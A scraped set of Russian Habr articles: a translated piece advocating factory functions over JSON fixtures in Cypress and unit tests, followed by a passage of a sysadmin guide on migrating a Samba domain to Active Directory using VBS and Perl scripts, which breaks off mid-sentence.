[Прародитель статьи](http://blog.stylingandroid.com/archives/2304)
[Пост на SO о алгоритмах размытия](http://stackoverflow.com/questions/2067955/fast-bitmap-blur-for-android-sdk) | https://habr.com/ru/post/215077/ | null | ru | null |
# Не используйте фикстуры в Cypress и юнит-тесты — используйте фабричные функции
> Для будущих учащихся на курсе [**«JavaScript QA Engineer»**](https://otus.pw/pykU/) и всех интересующихся темой автоматизацией тестирования подготовили перевод полезной статьи.
>
> Также приглашаем принять участие в открытом вебинаре на тему [**«Что нужно знать о JS тестировщику»**](https://otus.pw/iG32/). На занятии участники вместе с экспертом рассмотрят особенности JS, которые нужно держать в голове при написании тестов.
>
>
---
Юнит-тесты — это здорово… когда они надежно работают! На самом деле, есть старая поговорка, что «плохой тест — это хуже, чем вообще никакой тест». Я могу подтвердить, что недели, проведенные в погоне за случайно «ложным отрицательным» тестом, не эффективны. Вместо этого можно было использовать это время для написания рабочего кода, который поможет пользователю.
Так что поговорим об одной из этих простейших методик написания менее нестабильных тестов: тестирование фабричных данных.
Но прежде чем перейти к тому, что такое фабричные функции и зачем их использовать, давайте сначала попробуем разобраться, какой тип нестабильного теста они устраняют.
Аспекты тестов, которых мы хотим избежать
1. Высокое зацепление
2. Отсутствие типобезопасности (что приводит к длительному рефакторингу и ошибкам)
3. Огромные папки фикстур
Факторные функции все это исправят.
### Так что же такое фабричные функции?
Фабричная функция — это функция, которая создает объект. Вот так просто. Да, существует шаблон «абстрактная фабрика», популяризированный книгой "Gang Of Four's Design Pattern" несколько десятилетий назад. Давайте сделаем функцию красивой и простой.
Сделаем функцию, которая упрощает процесс создания, чтобы было легче тестировать.
Вот самый простой пример в мире:
```
interface ISomeObj {
percentage: string;
}
export const makeSomeObj = () => {
return {
percentage: Math.random()
};
}
```
Посмотрим, как такой простой шаблон может быть использован для исправления аспектов нестабильных тестов, описанных выше.
Мы начнем с описания того, как обычно пишутся тесты, а затем будем разрабатывать решение итеративно по мере решения каждой из задач.
#### Пример того, как проводятся нестабильные тесты в реальном мире
Все начинается невинно. Представим, вы или другой мотивированный разработчик в команде хотели бы поделиться опытом и добавить юнит-тест для одной из страниц. Для тестирования функции вы сохраняете некоторые тестовые данные в JSON-файле. Cypress (самая удивительная на момент написания этой статьи библиотека для тестирования пользовательского интерфейса), которая даже поощряет вас использовать JSON файл с тестовыми данными. Но проблема в том, что это даже удаленно не типобезопасность. Поэтому у вас может быть опечатка в вашем JSON и вы будете тратить часы на поиски проблемы.
Чтобы проиллюстрировать это, давайте рассмотрим пример кода для бизнеса и кода для автоматизации тестирования. Для большинства этих примеров мы предположим, что вы работаете в страховой компании, которая объясняет, как работают правила в каждом штате США.
```
// This file is "src/pages/newYorkInfo.tsx"
import * as React from 'react';
interface IUser {
state: string;
address: string;
isAdmin: boolean;
deleted: boolean | undefined;
}
export const NewYorkUserPage: React.FunctionComponent<{ user: IUser }> = props => {
if (props.user.state === 'NY' && !props.user.deleted) {
const welcomeMessage = `Welcome`;
return {welcomeMessage}
================
;
} else {
return ACCESS DENIED;
}
};
```
Код выглядит неплохо, так что давайте напишем JSON для хранения положительного тестового примера.
```
// fixtures/user.json
{
state: 'NY',
isAdmin: true,
address: '55 Main St',
}
```
А теперь тестовый код. Я продемонстрирую проблему, используя какой-нибудь psuedo-код для теста Cypress, но вы можете представить себе, что это происходит с любым тестовым кодом, в котором вы загружаете фикстуры и запускаете тестовое утверждение.
```
// When the UI calls the user endpoint, return the JSON as the mocked return value
cy.route('GET', '/user/**', 'fixture:user.json');
cy.visit('/dashboard');
cy.get('#ny-dashboard').should('exist')
```
Выглядит неплохо, и он отлично работает, пока вам не понадобится протестировать другой сценарий с участием другого пользователя. Что вы тогда сделаете?
#### Плохое решение — если один файл заработал, продолжайте создавать JSON-файлы
Стоит ли просто создать еще один JSON-файл фикстуры? К сожалению, это простое решение возникает постоянно, потому что оно самое простое (поначалу). Но с увеличением количества случаев, растет и количество JSON-файлов. Вам понадобится 52 различных JSON-файла, чтобы протестировать каждую страницу для каждого пользователя в США. Когда вы начнете тестирование, если пользователь является или не является администратором, вам придется создать 104 файла. Это много файлов!
Но у вас все равно есть проблема типобезопасности. Допустим, Product Owner приходит в команду и говорит: «Давайте будем отображать имя пользователя, когда мы его приветствуем».
Таким образом, вы добавляете свойство `name` в интерфейс и обновляете пользовательский интерфейс для работы в этом примере.
```
// This file is "src/pages/newYorkInfo.tsx"
import * as React from 'react';
interface IUser {
name: string;
state: string;
address: string;
isAdmin: boolean;
deleted: boolean | undefined;
}
export const NewYorkUserPage: React.FunctionComponent<{ user: IUser }> = props => {
if (props.user.state === 'NY' && !props.user.deleted) {
const welcomeMessage = `Welcome ${props.user.name.toLowerCase()}!`;
return {welcomeMessage}
================
;
} else {
return ACCESS DENIED;
}
};
```
Здорово, что вы обновили код для бизнеса, но фикстура JSON устарела. А так как у фикстуры JSON нет свойства `name`, вы получаете следующую ошибку:
```
Uncaught TypeError: Cannot read property 'toLowerCase' of undefined
```
Теперь вы должны добавить свойство name ко всем 52 пользовательским JSON фикстурам. Это можно решить с помощью Typescript.
### Немного лучшее решение: Переместите его в файл TypeScript
Переместив JSON из файла исправления в .ts файл, компилятор Typescript найдет для вас ошибку:
```
// this file is "testData/users"
import {IUser} from 'src/pages/newYorkInfo';
// Property 'name' is missing in type '{ state: string; isAdmin: true; address: string; deleted: false; }' but required in type 'IUser'.ts(2741)
export const generalUser: IUser = {
state: 'NY',
isAdmin: true,
address: '55 Main St',
deleted: false,
};
```
И мы обновим тестовый код, чтобы использовать этот новый объект.
```
import { generalUser } from 'testData/users';
// When the UI calls the user endpoint, return the JSON as the mocked return value
cy.route('GET', '/user/**', generalUser);
cy.visit('/dashboard');
cy.get('#ny-dashboard').should('exist')
```
Спасибо Typescript! Как только вы решите проблему с компилятором, добавив `name: 'Bob Smith'` в `GeneralUser:`, код компилируется чисто, а лучше всего то, что ваш тест снова пройдет!
Вы достигли одной из трех наших целей, достигнув типобезопасности. К сожалению, проблема высоко сцепления все еще существует.
Например, что происходит, когда появляется разработчик, который еще новичок в юнит-тестировании. Все, о чем думается, это то, что надо проверить основное свойство, которое включает в себя удаленного пользователя. Поэтому они добавляют `deleted: false` в объект `generalUser`.
Бабах! Ваш тест не проходит, и их тест проходит. Вот что значит быть высоко сцепленным.
Поэтому разработчик тратит несколько минут (или часов) на дебаггинг и понимает, что оба теста имеют одни и те же базовые данные. Таким образом, разработчик использует простое (но недальновидное решение) из предыдущих и создает другой объект `deletedUser`, так что есть 1 объект на тест. Это может быстро выйти из-под контроля — я видел файлы тестовых данных длиной 5000 строк.
Здесь можно увидеть, как странно это может выглядеть.
```
// this file is "testData/users"
import {IUser} from 'src/pages/newYorkInfo';
export const nonAdminUser: IUser = {
name: 'Bob',
state: 'NY',
isAdmin: false,
address: '55 Main St',
deleted: false,
};
export const adminUser: IUser = {
name: 'Bob',
state: 'NY',
isAdmin: true,
address: '55 Main St',
deleted: false,
};
export const deletedAdminUser: IUser = {
name: 'Bob',
state: 'NY',
isAdmin: true,
address: '55 Main St',
deleted: true,
};
export const deletedNonAdmin: IUser = {
name: 'Bob',
state: 'NY',
isAdmin: false,
address: '55 Main St',
deleted: true,
};
// and on and on and on again...
```
Должен быть путь получше.
### Хорошее решение: Фабричная Функция
Так как же нам рефакторить огромный файл объектов? Сделаем одну функцию!
```
// src/factories/user
import faker from 'faker';
import {IUser} from 'src/pages/newYorkInfo';
export const makeFakeUser = (): IUser => {
return {
name: faker.name.firstName() + ' ' + faker.name.lastName(),
state: faker.address.stateAbbr(),
isAdmin: faker.random.boolean(),
address: faker.address.streetAddress(),
deleted: faker.random.boolean(),
}
}
```
Теперь каждый тест может просто вызвать `makeFakeUser()`, когда он хочет создать пользователя.
И самое лучшее в этом то, что, делая все случайным в фабричной функции, это показывает, что ни один отдельный тест не принадлежит этой функции. Если тест является особым видом IUser, то позже придется модифицировать его самостоятельно.
И это легко сделать. Давайте представим себе удаленный пользовательский тест, где нас не волнует имя пользователя или что-то в этом роде. Нас волнует только то, что они удалены.
```
import { makeFakeUser } from 'src/factories/user';
import {IUser} from 'src/pages/newYorkInfo';
// Arrange
const randomUser = makeFakeUser();
const deletedUser: IUser = { ...randomUser, ...{
deleted: true
};
cy.route('GET', '/user/**', deletedUser);
// Act
cy.visit('/dashboard');
// Assert
cy.find('ACCESS DENIED').should('exist')
```
Для меня, прелесть этого подхода в том, что он сам себя документирует. Любой, кто смотрит на этот тестовый код, должен понимать, что когда API возвращает удаленного пользователя, мы должны найти `"Access Denied"` на странице.
Но я думаю, что мы сделаем это еще чище.
### Лучшее решение: просто переопределить mergePartially
Выше допускалось использование оператор `spread`, так как это был небольшой объект. Но это может быть более раздражающим, когда это вложенный объект, как этот:
```
interface IUser {
userName: string;
preferences: {
lastUpdated?: Date;
favoriteColor?: string;
backupContact?: string;
mailingAddress: {
street: string;
city: string;
state: string;
zipCode: string;
}
}
}
```
Вы не захотите, чтобы сотни таких объектов возникали.
Так что если мы позволим пользователям переопределять только то, что они хотят, мы сможем создать действительно простой и базовый код DRY. Представьте себе, что есть очень специфический тест, в котором должен быть пользователь, живущий на "Main Street".
```
const userOnMainSt = makeFakeUser({
preferences: {
mailingAddress: {
street: 'Main Street'
}
}
});
```
Ого, нужно было только указать то, что нужно для теста, а не другие 7 свойств. И нам не пришлось хранить одноразовый объект в каком-то огромном тестовом файле. И мы также достигли своих целей.
И как нам улучшить нашу функцию `makeFakeUser` для поддержки такого рода частичного переопределения?
Посмотрите, насколько легко это делает библиотека [mergePartially](https://github.com/dgreene1/merge-partially) (полное раскрытие: я сопровождающий `mergePartially`).
```
const makeFakeUser = (override?: NestedPartial): IDeepObj => {
const seed: IDeepObj = {
userName: 'Bob Smith',
preferences: {
mailingAddress: {
street: faker.address.streetAddress(),
city: faker.address.city(),
state: faker.address.stateAbbr(),
zipCode: faker.address.zipCode(),
},
},
};
return mergePartially.deep(seed, override);
};
```
#### Подведение итогов
Спасибо за то, что вы прочитали, как мы перешли от нестабильного и огромного тестового кода к маленькому и независимому.
Я был бы рад услышать от вас, что вы думаете об этом подходе.
---
> [**Узнать больше о курсе**](https://otus.pw/pykU/) **«JavaScript QA Engineer».**
>
> [**Зарегистрироваться на открытый вебинар**](https://otus.pw/iG32/) **на тему «Что нужно знать о JS тестировщику».**
>
> | https://habr.com/ru/post/540512/ | null | ru | null |
# Миграция контроллера домена с SAMBA на ActiveDirectory
Вот и пришло время рассказать о способе, который методом научного тыка, нескольких умных людей и несколько часов свободного времени помогли мне мигрировать домен, построенный предыдущим админом с SAMBA на ActiveDirectory.
Многие знают и используют возможность использовать SAMBA в качестве домена, но, по моему мнению, это можно использовать только как лабораторный стенд, а в реальный жизни лучше не использовать. Это решает каждый сам, меня не устроило отсутствие групповых политик, постоянная невозможность авторизации, частые зависания и неимоверные утечки памяти (через 30 дней непрерывной работы, иногда, пожираются все 16 ГиБ оперативной памяти и утилизируется весь swap-раздел). Поэтому моему терпению пришёл конец, я попытался собраться с мыслями и несколько раз пытался эмулировать переход в виртуальной среде, но всё не было времени, пока не пришёл сибирский пушистый зверёк и не положил по непонятным причинам всю структуру и зависящий от него bind9, который полностью парализовал работу офиса в 70 человек. Вот тут-то и настало время срочного перехода, 2 дня чтения разных мануалов, 2 дня попыток взлететь на ActiveDirectory ни к чему не привели, пока не натолкнулся на [эту статью](http://sysadmins.ru/post7750072.html) и она же на [TechNet](http://social.technet.microsoft.com/Forums/de-DE/windowsserverru/thread/c75c66cb-5621-4ad7-923d-ec22d81cb2b2) .
Так же били попытки смены ролей домена, т.е. ввести в линуксовый домен Windows Server и сделать его резервным контроллером, а затем повысить его роль до pdc, но, как показал 1 тест в виртуальной среде – это была неудачная идея, т.к. переносились все глюки GPO (их просто не было), а возможно ещё какие-либо недоразумения.
У меня всё же не получилось всё свести к одному нажатию кнопки, поэтому будет использоваться [Active Perl (х86)](http://www.activestate.com/activeperl/downloads), Microsoft Office Excel (делал на 2003 и 2007), Batch, VBS, а так же утилита [newsid](http://download.chip.eu/ru/NewSID_163121.html) ([которую на сайте](http://technet.microsoft.com/en-us/sysinternals/bb897418.aspx) успешно удалили) и дополнительный модуль [acctinfo](http://www.computerperformance.co.uk/w2k3/utilities/acctinfo.htm).
Все действия будут происходить в Windows-окружении на рабочей станции, а потом Windows Server (здесь хочется уточнить, что Windows Server был 2003 R2 SP2 по некоторым соображениям, поэтому работа на более современных системах не тестировалась), так же есть один нюанс, Windows Server лучше использовать английской версии, без MUI, пока происходит миграция, потом ничто не мешает его поставить.
Итак, хватит воды, приступим к самому процессу.
Перед дальнейшими работами можно начать ставить систему, но ничего в ней не настраивая и не создавая (я даже драйвера ставить не стал, пока не создам пользователей).
Дня начала нам надо вытащить список всех пользователей и групп, в которых они находятся (у меня была проблема, не все пользователи экспортировались с группами, в которые они входят, надо проверять), для этого используем vbs скрипт, который [нашёл здесь](http://gallery.technet.microsoft.com/scriptcenter/1af1f056-c945-4d18-a4aa-c244ac1daac7), но его пришлось модифицировать, что бы получить более наглядно и нужные параметры (так же стоит упомянуть что это надо делать на ПК, входящим в домен и под доменной учёткой, я делал под учёткой глобального администратора домена).
**export AD User Accounts.vbs**
```
On Error Resume Next
strFileName = "Users-Groups-SIDs.xlsx"
Set objShell = CreateObject("Wscript.Shell")
strPath = Wscript.ScriptFullName
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile(strPath)
strFolder = objFSO.GetParentFolderName(objFile)
SET objExcelApp = CREATEOBJECT("Excel.Application")
SET objWB = objExcelApp.Workbooks.Add
SET objExcel = objWB.Worksheets(1)
objWB.SaveAs(strFolder & "\" & strFileName)
Const ADS_SCOPE_SUBTREE = 2
Set objConnection = CreateObject("ADODB.Connection")
Set objCommand = CreateObject("ADODB.Command")
objConnection.Provider = "ADsDSOObject"
objConnection.Open "Active Directory Provider"
Set objCommand.ActiveConnection = objConnection
objCommand.Properties("Page Size") = 1000
objCommand.Properties("Searchscope") = ADS_SCOPE_SUBTREE
'Set the path of the file to the same folder of the script
'Open the file and make the workbook visible
Set objExcel = CreateObject("Excel.Application")
Set objWorkbook = objExcel.Workbooks.Open(strFolder & "\" & strFileName)
objExcel.Visible = True
'objExcel.Cells(1, 1).Value = "Name"
'objExcel.Cells(1, 1).Font.Bold = TRUE
'objExcel.Columns(1).ColumnWidth = 40
'objExcel.Cells(1, 2).Value = "Security ID"
'objExcel.Cells(1, 2).Font.Bold = TRUE
'objExcel.Columns(2).ColumnWidth = 60
'Starting row of the Excel is 2, since first row are column headings
y = 2
objCommand.CommandText = _
"SELECT * FROM 'LDAP://DC=mvi,DC=srv' WHERE objectCategory='user'"
Set objRecordSet = objCommand.Execute
objRecordSet.MoveFirst
Do Until objRecordSet.EOF
strADsPathUser = objRecordSet.Fields("ADsPath").Value
'wScript.echo strADsPathUser
Set objUser = GetObject(strADsPathUser)
z = 1
objExcel.Cells(y,z) = objUser.sn
objExcel.Cells(1, z).Value = "sn"
'Wscript.Echo objUser.sn
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.givenName
objExcel.Cells(1, z).Value = "givenName"
'Wscript.Echo objUser.givenName
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.initials
objExcel.Cells(1, z).Value = "initials"
'Wscript.Echo objUser.initials
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.description
objExcel.Cells(1, z).Value = "description"
objExcel.Cells(1, z).Font.Bold = TRUE
'Wscript.Echo objUser.description
z = z + 1
objExcel.Cells(y,z) = objUser.codePage
objExcel.Cells(1, z).Value = "codePage"
objExcel.Cells(1, z).Font.Bold = TRUE
'Wscript.Echo objUser.codePage
z = z + 1
objExcel.Cells(y,z) = objUser.sAMAccountName
objExcel.Cells(1, z).Value = "sAMAccountName"
'Wscript.Echo objUser.sAMAccountName
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.codePage
objExcel.Cells(1, z).Value = "codePage"
objExcel.Cells(1, z).Font.Bold = TRUE
'Wscript.Echo objUser.codePage
z = z + 1
objExcel.Cells(y,z) = objUser.mail
objExcel.Cells(1, z).Value = "mail"
'Wscript.Echo objUser.mail
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
intUserSID = fnGet_HexString(objUser.ObjectSID)
objExcel.Cells(y,z) = intUserSID
objExcel.Cells(1, z).Value = "ObjectSID"
'Wscript.Echo objUser.ObjectSID
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.userPrincipalName
objExcel.Cells(1, z).Value = "userPrincipalName"
'Wscript.Echo objUser.userPrincipalName
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.displayName
objExcel.Cells(1, z).Value = "displayName"
'Wscript.Echo objUser.displayName
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.distinguishedName
objExcel.Cells(1, z).Value = "distinguishedName"
'Wscript.Echo objUser.distinguishedName
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
intUserSID = stringlist(objUser.memberOf)
objExcel.Cells(y,z) = intUserSID
objExcel.Cells(1, z).Value = "memberOf"
'Wscript.Echo objUser.memberOf
objExcel.Cells(1, z).Font.Bold = TRUE
' нет необходимости
z = z + 1
objExcel.Cells(y,z) = objUser.physicalDeliveryOfficeName
objExcel.Cells(1, z).Value = "physicalDeliveryOfficeName"
'Wscript.Echo objUser.physicalDeliveryOfficeName
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.telephoneNumber
objExcel.Cells(1, z).Value = "telephoneNumber"
'Wscript.Echo objUser.telephoneNumber
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.profilePath
objExcel.Cells(1, z).Value = "profilePath"
'Wscript.Echo objUser.profilePath
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.scriptPath
objExcel.Cells(1, z).Value = "scriptPath"
'Wscript.Echo objUser.scriptPath
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.homeDirectory
objExcel.Cells(1, z).Value = "homeDirectory"
'Wscript.Echo objUser.homeDirectory
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.homeDrive
objExcel.Cells(1, z).Value = "homeDrive"
'Wscript.Echo objUser.homeDrive
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.title
objExcel.Cells(1, z).Value = "title"
'Wscript.Echo objUser.title
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.department
objExcel.Cells(1, z).Value = "department"
'Wscript.Echo objUser.department
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.company
objExcel.Cells(1, z).Value = "company"
'Wscript.Echo objUser.company
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.manager
objExcel.Cells(1, z).Value = "manager"
'Wscript.Echo objUser.manager
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.homePhone
objExcel.Cells(1, z).Value = "homePhone"
'Wscript.Echo objUser.homePhone
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.pager
objExcel.Cells(1, z).Value = "pager"
'Wscript.Echo objUser.pager
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.mobile
objExcel.Cells(1, z).Value = "mobile"
'Wscript.Echo objUser.mobile
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.facsimileTelephoneNumber
objExcel.Cells(1, z).Value = "facsimileTelephoneNumber"
'Wscript.Echo objUser.facsimileTelephoneNumber
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.ipphone
objExcel.Cells(1, z).Value = "ipphone"
'Wscript.Echo objUser.ipphone
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.info
objExcel.Cells(1, z).Value = "info"
'Wscript.Echo objUser.info
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.streetAddress
objExcel.Cells(1, z).Value = "streetAddress"
'Wscript.Echo objUser.streetAddress
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.postOfficeBox
objExcel.Cells(1, z).Value = "postOfficeBox"
'Wscript.Echo objUser.postOfficeBox
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.l
objExcel.Cells(1, z).Value = "l"
'Wscript.Echo objUser.l
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.st
objExcel.Cells(1, z).Value = "st"
'Wscript.Echo objUser.st
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.c
objExcel.Cells(1, z).Value = "c"
'Wscript.Echo objUser.c
objExcel.Cells(1, z).Font.Bold = TRUE
z = z + 1
objExcel.Cells(y,z) = objUser.wWWHomePage
objExcel.Cells(1, z).Value = "wWWHomePage"
'Wscript.Echo objUser.wWWHomePage
objExcel.Cells(1, z).Font.Bold = TRUE
'''''''''''''''''''''''''''
y = y + 1
objRecordSet.MoveNext
Loop
objCommand.CommandText = _
"SELECT * FROM 'LDAP://DC=mvi,DC=srv' WHERE objectCategory='group'"
Set objRecordSet = objCommand.Execute
objRecordSet.MoveFirst
Do Until objRecordSet.EOF
strADsPathGroup = objRecordSet.Fields("ADsPath").Value
'wScript.echo strADsPathGroup
Set objGroup = GetObject(strADsPathGroup)
'if objGroup.groupType = "-2147483646" then
objExcel.Cells(y,1) = objGroup.sAMAccountName
'Wscript.Echo objUser.sAMAccountName
intGroupSID = fnGet_HexString(objGroup.ObjectSID)
objExcel.Cells(y,2) = intGroupSID
'Wscript.Echo intUserSID
'End if
y = y + 1
objRecordSet.MoveNext
Loop
objRecordSet.Close
objConnection.Close
SET objSheet = NOTHING
SET objWB = NOTHING
objExcelApp.Quit()
SET objExcelApp = NOTHING
Wscript.echo "Script Finished..."
'''
Function stringlist(memberOf)
Dim objmemberOf
' Heart of the script, extract a list of Groups from memberOf
objmemberOf = objUser.GetEx("memberOf")
For Each objGroup in objmemberOf
strList = strList & """" & objGroup & """" & " "
Next
stringlist = strUser & strList
'WScript.Echo "Groups for " & strUser & strList
End Function
'''
Function fnGet_HexString(intSID)
Dim strRet, i, b
strRet = ""
For i = 0 to Ubound(intSID)
b = hex(ascb(midb(intSID,i+1,1)))
If( len(b) = 1 ) then b = "0" & b
strRet = strRet & b
Next
fnGet_HexString = fnHexStrToDecStr(strRet)
End Function
Function fnHexStrToDecStr(strSid)
Dim arrbytSid, lngTemp, j
ReDim arrbytSid(Len(strSid)/2 - 1)
For j = 0 To UBound(arrbytSid)
arrbytSid(j) = CInt("&H" & Mid(strSid, 2*j + 1, 2))
Next
fnHexStrToDecStr = "S-" & arrbytSid(0) & "-" & arrbytSid(1) & "-" & arrbytSid(8)
lngTemp = arrbytSid(15)
lngTemp = lngTemp * 256 + arrbytSid(14)
lngTemp = lngTemp * 256 + arrbytSid(13)
lngTemp = lngTemp * 256 + arrbytSid(12)
fnHexStrToDecStr = fnHexStrToDecStr & "-" & CStr(lngTemp)
lngTemp = arrbytSid(19)
lngTemp = lngTemp * 256 + arrbytSid(18)
lngTemp = lngTemp * 256 + arrbytSid(17)
lngTemp = lngTemp * 256 + arrbytSid(16)
fnHexStrToDecStr = fnHexStrToDecStr & "-" & CStr(lngTemp)
lngTemp = arrbytSid(23)
lngTemp = lngTemp * 256 + arrbytSid(22)
lngTemp = lngTemp * 256 + arrbytSid(21)
lngTemp = lngTemp * 256 + arrbytSid(20)
fnHexStrToDecStr = fnHexStrToDecStr & "-" & CStr(lngTemp)
lngTemp = arrbytSid(25)
lngTemp = lngTemp * 256 + arrbytSid(24)
fnHexStrToDecStr = fnHexStrToDecStr & "-" & CStr(lngTemp)
End Function
```
При запуске откроется окно Office Excel, с открытым файлом **Users-Groups-SIDs.xlsx** и в него будут построчно записываться данные (желательно мышку не трогать, никуда не нажимать пока работа не закончится, иначе могут быть ошибки в получении данных). После окончания работы скрипта получим уведомление, **Script Finished...** которое означает его завершение, теперь подождём несколько секунд что бы скрипт освободил таблицу, на это мы получим уведомление от офиса, что таблица доступна для записи, соглашаемся и жмём кнопку «сохранить». На выходе у нас получилась таблица скрин таблицы где есть столбцы: **sn; givenName; initials; description; codePage; sAMAccountName; codePage; mail; ObjectSID; userPrincipalName; displayName; distinguishedName; memberOf; physicalDeliveryOfficeName; telephoneNumber; profilePath; scriptPath; homeDirectory; homeDrive; title; department; company; manager; homePhone; pager; mobile; facsimileTelephoneNumber; ipphone; info; streetAddress; postOfficeBox; l; st; c; wWWHomePage**
Большинство из них нам не нужны (можно поправить в самом скрипте, удалив ненужные параметры, но на первое время пусть будут все).
Из полученных значений сейчас нам понадобятся столбцы **sAMAccountName** и **ObjectSID**, сортируем **ObjectSID** в порядке возрастания (от А до Я) копируем их сохраняя в текстовый файл **users.txt**, немного изменив их вид, должно поучится так: **sAMAccountName,ObjectSID**
Т.е. вот так:
```
dns-gw-sult,S-1-5-21-833212901-2941102506-3986841923-1101
DnsAdmins,S-1-5-21-833212901-2941102506-3986841923-1102
IIS_IUSRS,S-1-5-21-833212901-2941102506-3986841923-1102
DnsUpdateProxy,S-1-5-21-833212901-2941102506-3986841923-1103
ivanov,S-1-5-21-833212901-2941102506-3986841923-1105
ozonov,S-1-5-21-833212901-2941102506-3986841923-1108
elina,S-1-5-21-833212901-2941102506-3986841923-1111
anna,S-1-5-21-833212901-2941102506-3986841923-1113
dash,S-1-5-21-833212901-2941102506-3986841923-1115
denis,S-1-5-21-833212901-2941102506-3986841923-1116
danuev,S-1-5-21-833212901-2941102506-3986841923-1119
```
Как видим, каждая запись в отдельной строчке, можно увидеть что последние номера идут по порядку, но есть и отсутствующие интервалы (поскольку самба писала пользователей в LDAP с разными RID (т.е. номерами по порядку), а AD будет создавать пользователей подряд, начиная с какого-то определенного RID, нужно создать всех недостающих пользователей и как-то более или менее понятно их обозвать), вот мы их и заполним, используя perl скрипт **script-add user.pl**:
**script-add user.pl**
```
use strict;
use warnings;
use Data::Dumper;
my (%input, %output,$max);
my $input_file = "users.txt";
my $output_file = "output.txt";
my $sambaSID = "S-1-5-21-833212901-2941102506-3986841923-";
open FIN, "<$input_file";
while () {
chomp();
if (/(.\*),$sambaSID(.\*)/) {
$input{$2}=$1;
$max=$2
if $2 > $max;
}
}
close FIN;
print Dumper(\%input);
print Dumper($max);
open FOUT, ">$output\_file";
for (my $i=1001;$i<=$max;$i++) {
if (exists $input{$i}) {
print "input: $input{$i} i: $i\n";
print FOUT "$input{$i}\n";
} else {
print FOUT "user$i\n";
}
}
close FOUT;
```
В изначальной статье есть не очень рабочие моменты, поэтому попросил знакомого исправить ошибки, по крайней мере скрипт заработал как планировалось.
И на выходе получили файл **output.txt** (в котором пользователи будут начинаться с RID 1001 и далее и иметь имена user1001 и т.д.) с содержанием:
**output.txt**
```
user1001
user1002
user1003
user1004
user1005
user1006
user1007
user1008
user1009
user1010
user1011
user1012
user1013
user1014
user1015
user1016
user1017
user1018
user1019
user1020
user1021
user1022
user1023
user1024
user1025
user1026
user1027
user1028
user1029
user1030
user1031
user1032
user1033
user1034
user1035
user1036
user1037
user1038
user1039
user1040
user1041
user1042
user1043
user1044
user1045
user1046
user1047
user1048
user1049
user1050
user1051
user1052
user1053
user1054
user1055
user1056
user1057
user1058
user1059
user1060
user1061
user1062
user1063
user1064
user1065
user1066
user1067
user1068
user1069
user1070
user1071
user1072
user1073
user1074
user1075
user1076
user1077
user1078
user1079
user1080
user1081
user1082
user1083
user1084
user1085
user1086
user1087
user1088
user1089
user1090
user1091
user1092
user1093
user1094
user1095
user1096
user1097
user1098
user1099
user1100
dns-gw-sult
IIS_IUSRS
DnsUpdateProxy
user1104
ivanov
user1106
user1107
ozonov
user1109
user1110
elina
user1112
anna
user1114
dash
denis
user1117
user1118
danuev
```
Полученный список помещаем в таблицу [**dsadd-new.xls**](http://it-kursy.ru/article/admtools/user-xls) пришлось немного изменить под свои нужды. В изменённую таблицу помещаем в столбец **Login**. Начальные SID пользователей в столбец SID и проверяем, у пользователя **user-1101** должен быть **S-1-5-21-833212901-2941102506-3986841923-1101** у пользователя **user-1102** такой **S-1-5-21-833212901-2941102506-3986841923-1102** (думаю что логика работы понятна, а SID известных пользователей должен оставаться таким же как и был, у нас есть в файле **Users-Groups-SIDs.xlsx**). Поместить пользователя в группу, в какой он раньше был, то для этого надо из файла **Users-Groups-SIDs.xlsx** взять столбец **memberOf** и поместить каждому пользователю в файл **dsadd-new.xls** в столбец **GROUP.** Так же необходимо заполнить все остальные поля, если надо, но **обязательно нажо заполнить столбцы Фамилия и Имя, если этого не сделать, то формирование команд на создание будет некорректным**. Столбец **Login** автоматически сформирует имя пользователя для входа в домен, если Вас не устроит смена логина, измените шаблон или же напишите сами необходимый логин (у меня некоторые пользователи имели не такой как принято логин, поэтому у них заменял на необходимый).
**Так же прошу обратить внимание на тот факт, что если:
— столбец Отчество не будет заполнено, то при создании пользователей к ним добавится лишний пробел вконце, что может повлечь к проблемам у некоторых программ;
